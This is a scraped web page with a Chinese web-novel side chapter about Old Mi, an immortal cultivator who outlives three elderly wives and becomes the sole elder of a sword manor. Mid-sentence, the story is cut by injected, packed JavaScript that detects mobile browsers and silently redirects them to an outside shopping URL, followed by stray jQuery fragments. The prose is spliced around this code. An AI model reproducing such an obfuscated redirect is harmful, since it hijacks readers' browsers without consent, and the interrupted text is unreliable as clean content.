默认冷灰
24号文字
方正启体

15. 番外——青云剑庄(二)

作者:凑猫猫本书字数:K更新时间:
    米老头就叫米老头,没人知道他的真名,他自己也从不说,只道姓米,名字保密。


    街上的铺子起初都不愿雇他做工,一来嫌他年迈,二来总怕他哪天突然没了气,平白惹上麻烦。唯有几家心善的,肯收他做活,让他能赚些钱糊口。


    谁都没料到,这老头看着老态龙钟,干起活来却手脚麻利。往日和其他伙计一同采买,眼神竟比年轻小伙还要亮,总能挑出些物美价廉的好东西。


    曾在沿海做生意的李老板,因老娘病重想落叶归根,便搬回西南老家重开了铺子。新店刚开张,因摸不透本地的门道,生意十分冷清。


    李老板不由叹道,要是米老头还在就好了,只是这么多年过去,想来老人家怕是早已不在人世。


    他媳妇也跟着感慨,说那老头虽看着皱巴巴的,却是个难得的长情之人。当年他老伴走后,整个人便一蹶不振,索性辞了活,说要送老伴归根。


    李老板听着,心里也犯嘀咕,当时该派个伙计跟着他才是,万一他忧伤过度,在路上出了什么意外——


    夫妻俩想到这儿,只剩满心后悔。


    而夫妻俩看不见的街角,一个干巴巴的老头提着油纸包的点心,轻手轻脚绕开沿街铺子,特意拐了远路往家走。


    家中,他的妻子正坐在织布机前,眼睛已昏花得看不清东西,全凭数十年的熟稔手感,磕磕绊绊地摆弄着梭子。隐约听见归声,她便笑着扬声招呼:“老米啊!今天怎么回来得这么早?”


    米老头笑得满脸褶皱挤作一团,快步上前,将温热软和的点心递到她手边。


    老伴却没急着拆包,只伸手牵住他的手,轻声道:“我估摸着,我也就这几天的光景了。有些话想跟你说,再不讲,怕是就没机会了。”


    米老头轻轻拍着她的手背,清明的眼眸望着她,温声笑劝:“别乱说,哪有那种事,可别咒自己。”


    老伴只笑,没接这话,自顾自说着:“我得谢谢你救了我,当年若不是你,我早没了。虽说做了你的妻子,可我总觉得对不住你——嫁给你的时候,我都六十岁了。我虽老啦,却也能感觉得出来,这么多年,你从来都没变过。”


    她顿了顿,喘了口气又道:“我也不问你为什么不会老,许是仙人吧,哈哈。其实我真羡慕你,能长生不老。若是我也能不老就好了,这样咱们两个老头子老太婆,就能一直陪着彼此了。”


    “可惜我不是,我终究是会老的。若是我走了,你不必为我难过太久,早点开始新的日子就好。谢谢你陪我这十几年,我过得很开心……”


    这些话,米老头听得心头翻涌,即使相似的话不是第一次听,心里动容却半分未减。


    他攥紧了妻子的手,难掩难过,妻子反倒反握住他,一下下拍着他的手背,轻声哄着,让他别太过挂念。


    不知是天意使然,还是命数已定。


    次日清晨,米老头醒来,身旁的人已然没了气息。


    他神色平静,熟稔地起身穿衣,细细为老伴梳洗打扮,又去镇上订了棺木,而后雇了一辆驴车,车轮吱嘎吱嘎碾过土路,载着棺木,往她的家乡去——


    这已经是他安葬的第三任妻子了。


    米老头原是个修仙者,按他自己的话说,就是个散修——修得零零散散,全凭自己摸索。


    他最初的心愿不过是求个长生不老,于是日日勤恳赚钱糊口,把余下的所有时间,都尽数用在了修行上。


    他也动过加入宗门的心思,想着能有人指点,修行或许能快些,可转念一想还是作罢了。那些大宗门里的修士,怕是瞧不上他这样只求长生、满身凡俗气的散修。


    不知道究竟是幸运还是不幸。


    幸运的是米老头竟真的凭着自己的摸索修成了,硬生生突破了五阶修为。


    不幸的是他突破那年,正好七十二岁。


    熬到梦寐以求的长生,心头翻涌的却不是欢喜,反倒生出一股说不清道不明的空虚——他头一回清晰觉察到,自己想找个伴了。


    他有自知之明,自己这副花甲老态,若去寻十七八的小姑娘,与耍流氓无异,索性便将目光放在了年岁登对的老太太身上。


    他的第一任妻子,是个丧偶的老妪。六七十岁丧夫本是寻常,偏她又被子女弃了,只得同他一般,四处打零工糊口。两人境遇相仿,朝夕间多有交集,一来二去便看对了眼,米老头就娶了第一个老婆。


    可好日子没撑多久,妻子因半生操劳落了病根,又日日念着儿女,终究忧思成疾,四年光景便撒手人寰。


    临终前,她拉着米老头的手,一边谢他相伴这几年,一边又不住道歉,说没能多陪他些时日。


    米老头还没尝透陪伴的滋味,就先失了枕边人,浑浑噩噩熬了一年,才遇上第二任妻子。


    这老太太性子烈,一辈子没谈过情,两人因田地里的白菜多种了一排,在村口吵得不可开交,就这么认识了。


    往后日子里,二人几乎日日拌嘴,吵得天昏地暗。


    直到某日,米老头没等来惯常的争吵,推门进她屋,才发现人病得起不了身。


    他慌里慌张送她去镇上医馆,一来二去,这吵出来的交情竟也熬成了情意,两人便也结为了夫妻。


    往后妻子守着家里种菜养鸡,他去镇上打零工赚钱,日子倒也安稳。


    可这份安稳,也没撑过十年,第二任妻子还是走了。


    而临终前的话,竟和第一任如出一辙,满是感谢,又满是歉意。


    米老头望着空荡荡的屋子,头一回生出疑惑,不明白她们为何总要道谢,又为何总要道歉。


    疑惑还没解开,第三任妻子就出现在了他的日子里。


    那时他送第二任妻子归乡,便索性在这边村落住下,某日救下一个摔倒的老太太,两人相熟后,便顺理成章地搭伙过了日子。


    直到第三任妻子也走了,米老头又一次浑浑噩噩度日时,心底那团模糊的疑惑,才突然清明过来。


    他貌似是想明白了究竟哪里是不对——男人和女人相伴,本就不该只因为夫妻的名分;而他执着地寻一个人相爱,妄图以此填满长生带来的空虚,从一开始,就错了。


    而他追求的长生好像对于平凡人来说并不是恩赐,更像是一种把他和红尘割裂开的诅咒。


    恰在这


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177154|196908||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    时,他遇上了一个抱着小孩仗剑天涯的半仙。


    而这半仙的名字,米老头早有耳闻——谢青。


    彼时谢青正在他打工的客栈小住,怀里的小半仙忽然生了病。


    谢青对着稚童手足无措,什么办法都没有,最后还是米老头上前,熟稔地给孩子换了尿片,小心喂药喂水,才堪堪救下这小生命。


    经此一事,米老头和谢青也算熟络起来。


    他也知晓了,这位半仙正四处寻觅能帮着打理宗门内务、清扫宅院的人,而谢青看样子,已经看中了自己。


    可米老头却没应下,只因心里那团事,还没琢磨出个究竟。


    直到某日,二人对坐饮酒,米老头望着杯中美酒,轻叹凡人寿命太过短暂,寥寥数十载,不过弹指一挥间。


    谢青闻言,竟也颔首附和,说起自己也曾有这般境遇,尝过相似的无奈。


    那一瞬间,米老头心底忽生强烈的共鸣,像是漂泊许久,终于寻到了能懂自己的人。


    而谢青见缝插针再度向他抛出橄榄枝,米老头鬼使神差般,便应了下来。


    次日,他便跟着谢青,一路行至那闻名遐迩,实则荒寂如废墟的青云剑庄。


    自此之后,米老头便成了米长老,成了青云剑庄唯一长老。不过他收的徒弟却并非剑修,而是全和他一样干些杂活,并零零散散修仙的“散修”。


    他也抱怨过,跟谢青念叨怎不多招几个长老管事,省得自己一人忙前忙后。


    谢青却总摆摆手,只说人不在多,贵在精。


    托谢青的福,米长老日日忙得头晕眼花、脚不沾地,从清晨到日暮,琐事缠身,竟再没半分闲暇去伤怀自己那三段匆匆的婚姻,心底的空落也被这实打实的忙碌填了个满。


    日子过得安稳,直到谢青遇刺身死,谢重楼被就地正法,青云剑庄一朝封山,偌大的庄院重归死寂。


    喧嚣散去,只剩无尽的空寂,米长老心底那被压下的困惑再度翻涌,又开始仔仔细细琢磨起那困扰了他许久的问题。


    光阴流转,于半仙而言不过弹指,于他这修为突破五阶得了“永生”的修士,亦是微末。


    日子一天天过,米长老每日挪出大把时光沉心思考,可翻来覆去,终究还是没琢磨出个究竟。


    直到那天,一个穿粉衣的男子踏入山门,整日嘤嘤嘤的怪叫,性子恶劣又难缠。


    米长老被他磋磨得焦头烂额,哪里还有心思去想那些无解的难题,只得把所有精力都抽出来,专心对付这位活祖宗。


    难得得了片刻闲暇,米长老靠在廊下晒着太阳,心头忽然生出几分感慨——


    若不是那个磨人的祖宗闹得他日日不得闲,怕是自己此刻还困在过往的执念里,走不出来了。


    这念头刚落,就见个小弟子红着眼睛,哭唧唧地跑回来,揪着他的衣袖哽咽:“米长老!您快去救救我们吧!那位又发好大的火,弟子们实在招架不住了!”


    闻言,米长老刚松快没一会儿的脸瞬间垮下来,却还是咬了咬牙,摆出一副毅然决然、视死如归的模样,抬脚便往青云剑庄的弟子寝室走去。


    ……
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)